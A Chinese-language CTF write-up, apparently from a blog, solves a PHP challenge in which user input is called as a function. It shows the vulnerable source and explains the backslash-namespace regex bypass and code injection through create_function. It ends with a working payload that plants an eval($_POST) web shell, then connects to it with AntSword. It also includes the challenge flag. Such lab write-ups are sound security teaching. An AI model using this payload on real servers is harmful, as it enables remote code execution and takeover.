PHP-create_function

[题目信息]:

题目名称题目难度
PHP-create_function2

[题目考点]:

create_function ( string args , string args , string code )

[Flag格式]:

SangFor{wWx5dEGHHhDUwmST4bpXwfjSzq43I6cz}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2085

[题目writeup]:

1、实验主页

2、源码分析

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match(’/[1]*$/isD’, $action)) {
show_source(FILE);
} else {
$action(’’, $arg);
}

分析代码逻辑,思路还算是比较清晰,正则很明显,就是要想办法在函数名的头或者尾找一个字符,不影响函数调用。

在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果在其他namespace里调用系统类,就必须写绝对路径这种写法。

紧接着就到了如何只控制第二个参数来执行命令的问题了,后来找到可以用create_function来完成,create_function的第一个参数是参数,第二个参数是内容。

create_function('$a,$b','return 111')

==>

function a($a, $b){
return 111;
}

然后执行,如果我们想要执行任意代码,就首先需要跳出这个函数定义。

create_function('$a,$b','return 111;}phpinfo();//')

==>

function a($a, $b){
return 111;}phpinfo();//
}

这样一来,我们想要执行的代码就会执行

/?action=\create_function&arg=1;}eval($_POST['123']);//

蚁剑连接获取flag


  1. a-z0-9_ ↩︎

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值